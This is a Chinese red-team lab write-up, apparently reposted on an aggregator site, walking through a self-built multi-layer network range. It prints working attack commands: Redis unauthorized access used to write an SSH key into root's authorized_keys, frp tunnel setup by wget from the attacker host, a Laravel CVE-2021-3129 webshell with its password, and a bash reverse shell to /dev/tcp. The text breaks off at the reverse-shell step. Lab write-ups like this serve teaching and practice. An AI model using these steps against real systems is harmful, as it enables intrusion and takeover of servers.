红队 您所在的位置:网站首页 内网穿透 frp 漏洞 红队

红队

2024-06-02 09:43| 来源: 网络整理| 查看: 265

wallhaven-3kgwpd

本次多层网络域渗透项目旨在模拟红队攻击人员在授权情况下对目标进行渗透,从外网打点到内网横向穿透,最终获得整个内网权限的过程,包含Laravel Debug mode RCE(CVE-2021-3129)漏洞利用,Docker逃逸,Redis未授权访问漏洞,SSH密钥利用,非约束委派和约束委派,NTLM中继攻击,SMB Relay攻击,哈希传递,黄金票据和白银票据,CVE-2020-1472提权等等。

文中若有不当之处,还望各位大佬多多点评。

请注意:

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

环境配置网络拓扑图

整个环境共五台机器,分别处于三层内网环境中。网络拓扑图如下,整个靶场设计模拟真实网络环境中的情况,分别划分了DMZ区,生产区和核心区,不同区域间通过网段划分进行隔离。

DMZ区IP段为192.168.52.1/24

DMZ区的靶机拥有两个网卡,一个用来对外提供服务,一个用来连通第二次网络。

生产区IP段为192.168.52.1/24

第二层网络的靶机同样有两个网卡,一个连通第二层网络,一个连通第三层网络

w核心区IP段为192.168.93.1/24

第三层网络的靶机只有一张网卡,连通第三层网络,包含域控机器与域内服务器

image-20231031100808120

机器对应IP区域服务器作用Ubuntu 64 位 (Web 1) ubuntu: web2021172.23.2.67 192.168.52.10DMZ区 边界突破机redis、Nginx反代理服务器Ubuntu 64 位 (Web 2) ubuntu: ubuntu192.168.52.20 192.168.93.10生产区(二层网络)web服务器win7(pc1) bunny:Bunny2021192.168.93.20 192.168.52.30生产区(二层网络)OAwin7(pc2) moretz:Moretz2021192.168.93.40核心区(三层网络)域成员windows server 2012192.168.93.30核心区(三层网络)域控

由于网络环境问题,测试过程中部分ip可能会发生变化。

靶机信息

域用户账户和密码如下:

Administrator:Whoami2021

whoami:Whoami2021

bunny:Bunny2021

moretz:Moretz2021

Ubuntu 1:

web:web2021

Ubuntu 2:

ubuntu:ubuntu

通达OA账户:

admin:admin657260

涉及的知识点

端口扫描、端口服务识别、漏洞探测利用、Laravel Debug mode RCE(CVE-2021-3129)漏洞利用、Docker逃逸、通达OAv11.3漏洞利用、Linux环境变量提权、Redis未授权访问漏洞、Linux sudo权限提升(CVE-2021-3156)漏洞利用、MS14-068漏洞利用、路由转发与代理、多层隧道代理、内网信息收集、NTLM与SMB Relay攻击、Psexec远控、哈希传递(PTH)、黄金票据、白银票据

攻击过程信息收集

我们现在开始对目标的攻击,我们首先对入口机web服务器进行渗透测试,寻找突破口,对172.23.2.67进行全端口扫描,扫描后发现存在四个端口

image-20231031135143557

80端口

image-20231031135207887

81端口开了Laravel

image-20231031135304999

接下来还剩下两个服务 22、6379。22端口爆破动静会很大,可以放到后面无计可施的时候再去尝试,先测试一下6379端口,因为这个一旦攻击成功即可获取root权限。Web攻击获取的有可能是低权限,而且也可能会遇到一些waf之类的防护等不确定因素。因此我们先尝试redis未授权漏洞。

Redis 未授权访问

redis-cli -h 192.168.52.10

测试成功,发现存在redis未授权漏洞

image-20231031135453553

现在我们退出redis,回到kali中,利用redis未授权漏洞写入公钥私钥。

首先在攻击机上创建/root/.sh 目录用于保存我们的公钥和私钥

image-20231031135747183

ssh-keygen -t rsa

第一行输入id_rsa,密码设置为空,直接回车

image-20231031135756815

(echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > key.txt

image-20231031135807343

通过redis将key写入到服务器中

cat key.txt | redis-cli -h 192.168.52.10 -x set hack

image-20231031135815321

连接目标主机的redis

redis-cli -h 192.168.52.10

image-20231031135827834

设置redis的备份路径为/root/.ssh和保存文件名authorized_keys

config set dir /root/.ssh

//设置redis的备份路径为/root/.ssh

config set dbfilename authorized_keys

//设置上传公钥的备份文件名为autorized_keys

将数据保存

save

quit

image-20231031135837329

ssh -i id_rsa [email protected]

image-20231031140044723

写入成功即可直接ssh登录到服务器上。

内网信息收集

获取到一台机器的控制权限后,我们查看当前网络情况,第一个是我们外网的入口机器地址,第二个是我们内网地址。

image-20231031141110240

现在我们已经拿到了root权限,并且机器是可以出网的。

image-20231031141119576

netstat -pantule

可见貌似机器上只有22、80、81、6379端口对我们来说有价值一些,我们尝试进一步信息收集,去找到一些有用的信息。

image-20231031141128632

发现机器上有一个www站点,但是只有一个静态网址,没什么可利用的价值。

image-20231031141137700

现在寻找一下81端口的绝对路径文件

sudo netstat -tuln | grep ':81'

ps -p 788 -o cmd

这里貌似是执行了这行命令,没有找到绝对配置文件,我们可以应该进一步去查看nginx的配置文件。

image-20231031141147290

nginx的配置文件一般都在 /etc/nginx/nginx.conf或者/etc/nginx/conf/nginx.conf 位置

image-20231031141153212

http://192.168.52.20:8000

由此可见,他的80端口和81端口的网站都是来自于服务器,那么我们拿到的这台服务器应该是角色可以断定,是Nginx反代理服务器,那么我们的下一步的攻击思路就是,攻击内网192.168.52.20的web服务。

使用命令查看ARP缓存表

image-20231031141202202

总结:

1、服务器角色:Nginx反代理服务器

2、内网地址:192.168.52.10

3、入口机 可出网

小结:下一步就是搭建一个隧道,其次针对我们从配置文件得知的Nginx反代理服务器上获取的内网地址,来扫描这个C段

内网隧道穿透---一层

由于靶场是模拟实战环境,我们搭建一个frp隧道,因为这里不管是出网还是不出网,其实我们都是要搭建隧道的,判断出不出网,只是用来判断,我们要利用什么样的协议去进行搭建隧道而已。上传的利用文件均放在tmp目录下。

frps端

image-20231031141508992

image-20231031141512284

frpc端

上传客户端到kali上的tmp中,用python开启一个http服务

image-20231031141523628

python -m http.server

image-20231031141529549

wget http://192.168.52.129:8000/frpc.ini.

wget http://192.168.52.129:8000/frpc.

image-20231031141553055

运行frpc时报错,应该是frp版本有问题了,尝试更换frp版本

./frpc -c a.txt

image-20231031141609504

再次运行

./frpc -c a.txt

image-20231031141616343

代理隧道已经搭建成功,利用kali的proxychains4进行代理配置

image-20231031141623631

隧道已经搭建成功。此时我们使用工具进行内网探测

image-20231031141631265

Laravel-CVE-2021-3129漏洞利用

访问链接可见Laravel版本号,根据fscan扫描结果得知,该版本存在漏洞,那么我们尝试使用对应的exp进行深入利用。

image-20231031141722817

工具:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

image-20231031141731151

webshell地址:http://192.168.52.20:8000/fuckyou.php

密码:pass

image-20231031141740551

这里我们连接shell,攻击成功。执行ifconfig之后发现没有回显,初次判断是权限太小。

继续信息收集

image-20231031141747345

这里很多docker字样,由此判断我们在docker容器中

Hostname

cat /proc/1/cgroup

image-20231031141758957

目前的情况是得知目前获取的机器权限是docker,但是我们的权限过于低级,什么事情都干不了,于是乎我们尝试提权。在提权之前,我们先对系统信息收集一下

深度信息收集

在tmp目录上传信息收集脚本,对机器进行信息收集

image-20231031141825727

反弹shell

反弹到入口机的shell

bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/1236



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

      专题文章
        CopyRight 2018-2019 实验室设备网 版权所有